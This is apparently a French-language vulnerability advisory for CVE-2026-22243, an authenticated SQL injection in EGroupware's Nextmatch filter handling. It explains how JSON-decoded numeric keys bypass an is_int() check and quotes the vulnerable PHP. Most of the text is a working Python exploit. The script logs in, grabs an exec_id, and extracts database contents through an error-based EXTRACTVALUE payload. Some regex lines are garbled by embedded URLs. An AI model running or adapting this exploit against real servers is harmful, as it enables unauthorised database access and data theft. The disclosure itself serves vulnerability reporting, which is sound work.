
CVE-2026-22243 - EGroupware présente une injection SQL dans le traitement des filtres Nextmatch.
| Champ | Détails |
|---|---|
| ID CVE | CVE-2026-22243 |
| Sévérité | HAUTE |
| Avis | Voir l'avis |
| Découvert par | Lukasz Rybak |
Injection SQL critique authentifiée dans le traitement des filtres du widget Nextmatch
Une vulnérabilité critique d'injection SQL existe dans les composants principaux d'EGroupware, plus précisément dans le traitement des filtres Nextmatch. Cette faille permet à des attaquants authentifiés d'injecter des commandes SQL arbitraires dans la clause WHERE des requêtes de base de données. Cela est rendu possible en exploitant un problème de manipulation des types en PHP, où le décodage JSON convertit les chaînes numériques en entiers, contournant ainsi le contrôle de sécurité is_int() utilisé par l'application.
Analyse de la cause racine
La vulnérabilité réside dans la manière dont la couche d'abstraction de base de données (Api\Db) et les classes de stockage de haut niveau (Api\Storage\Base, infolog_so) traitent le tableau col_filter utilisé dans les widgets « Nextmatch ».
L'application tente de valider l'entrée à l'aide de is_int($key) afin de déterminer si une clé de tableau représente un fragment SQL brut qui doit être considéré comme fiable. Cependant, lors du traitement des requêtes POST basées sur JSON, json_decode de PHP convertit automatiquement les clés de chaînes numériques (par exemple, "0") en entiers natifs.
Par conséquent, un attaquant peut envoyer une charge utile JSON avec un tableau associatif contenant des clés numériques. L'application interprète ces clés comme des entiers (is_int renvoie true) et ajoute aveuglément les valeurs associées — contenant du SQL malveillant — directement à la requête.
Emplacements de code vulnérables
sources/egroupware/api/src/Db.php (environ ligne 1776)
Méthode : column_data_implode// In function column_data_implode
elseif (is_int($key) && $use_key===True) {
if (empty($data)) continue;
// VULNERABLE: $data is appended directly to SQL without sanitization
$values[] = $data;
}
sources/egroupware/api/src/Storage/Base.php (environ ligne 1134)
Méthode : parse_search// In function parse_search
foreach($criteria as $col => $val) {
// VULNERABLE: is_int() returns true for JSON keys like "0"
if (is_int($col)) {
$query[] = $val;
}
// ...
}
J'ai vérifié cette vulnérabilité sur une instance Docker locale et l'ai confirmée (en lecture seule) sur votre instance de démonstration publique (demo.egroupware.net).
Script d'exploitation automatisé : Le script suivant automatise la connexion, l'extraction de exec_id et l'exfiltration de données via une injection SQL basée sur les erreurs.
import requests
import re
import sys
import urllib3
# Suppress SSL warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# CLI Configuration
BASE_URL = sys.argv[1].rstrip('/') if len(sys.argv) > 1 else "http://localhost:8088/egroupware"
LOGIN_USER = sys.argv[2] if len(sys.argv) > 2 else "sysop"
LOGIN_PASS = sys.argv[3] if len(sys.argv) > 3 else "password123"
session = requests.Session()
session.verify = False
session.headers.update({
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36"
})
def extract_form_inputs(html):
inputs = {}
matches = re.findall(r'<input[^>]+>', html)
for match in matches:
name_m = re.search(r'name=["\'](https://github.com/lukasz-rybak/cve-2026-22243/blob/main/%5B%5E%22%5C%27%5D%2B)["\']', match)
value_m = re.search(r'value=["\'](https://github.com/lukasz-rybak/cve-2026-22243/blob/main/%5B%5E%22%5C%27%5D%2A)["\']', match)
if name_m:
name = name_m.group(1)
value = value_m.group(1) if value_m else ""
inputs[name] = value
return inputs
def login():
print(f"[*] Target: {BASE_URL}")
login_url = f"{BASE_URL}/login.php"
try:
print("[*] Retrieving login form...")
r_get = session.get(login_url, timeout=10)
data = extract_form_inputs(r_get.text)
data.update({
"login": LOGIN_USER,
"passwd": LOGIN_PASS,
"submitit": "Login",
"passwd_type": "text"
})
if 'cancel' in data: del data['cancel']
print(f"[*] Attempting login as: {LOGIN_USER}...")
r_post = session.post(login_url, data=data, allow_redirects=True, timeout=15)
if 'name="passwd"' in r_post.text and 'logout.php' not in r_post.text:
print("[-] Login failed. Server returned login form.")
return False
print("[+] Login successful.")
return True
except Exception as e:
print(f"[-] Critical error during login: {e}")
return False
def get_exec_id():
print("[*] Retrieving exec_id...")
url = f"{BASE_URL}/index.php?menuaction=addressbook.addressbook_ui.index"
try:
r = session.get(url, timeout=10)
match = re.search(r'etemplate_exec_id(?:"|"|\\")\s*:\s*(?:"|"|\\")([^&"\\]+)', r.text)
if match:
eid = match.group(1)
print(f"[+] ID found: {eid}")
return eid
else:
if 'name="passwd"' in r.text:
print("[-] Session expired or login failed.")
else:
print("[-] exec_id pattern not found in source code.")
except Exception as e:
print(f"[-] Error retrieving ID: {e}")
return None
def run_query(eid, sql):
full = ""
url = f"{BASE_URL}/json.php?menuaction=EGroupware\\Api\\Etemplate\\Widget\\Nextmatch::ajax_get_rows"
print(f"[*] Executing SQLi: {sql}")
for offset in range(1, 201, 30):
chunk_sql = f"SUBSTRING(({sql}), {offset}, 30)"
payload = f"1=1 AND EXTRACTVALUE(1, CONCAT(0x7e, ({chunk_sql}), 0x7e))"
post_data = {
"request": {
"parameters": [eid, {"start": 0, "num_rows": 1}, {"col_filter": {"0": payload}}]
}
}
try:
r = session.post(url, json=post_data, timeout=10)
match = re.search(r"XPATH syntax error: '~(.*)~'", r.text)
if not match:
match = re.search(r"~([^~]+)~", r.text)
if match:
chunk = match.group(1)
if "..." in chunk: chunk = chunk.replace("...", "")
full += chunk
if len(chunk) < 1: break
else:
break
except Exception as e:
print(f"[-] Query error: {e}")
break
return full if full else "NO DATA / ERROR"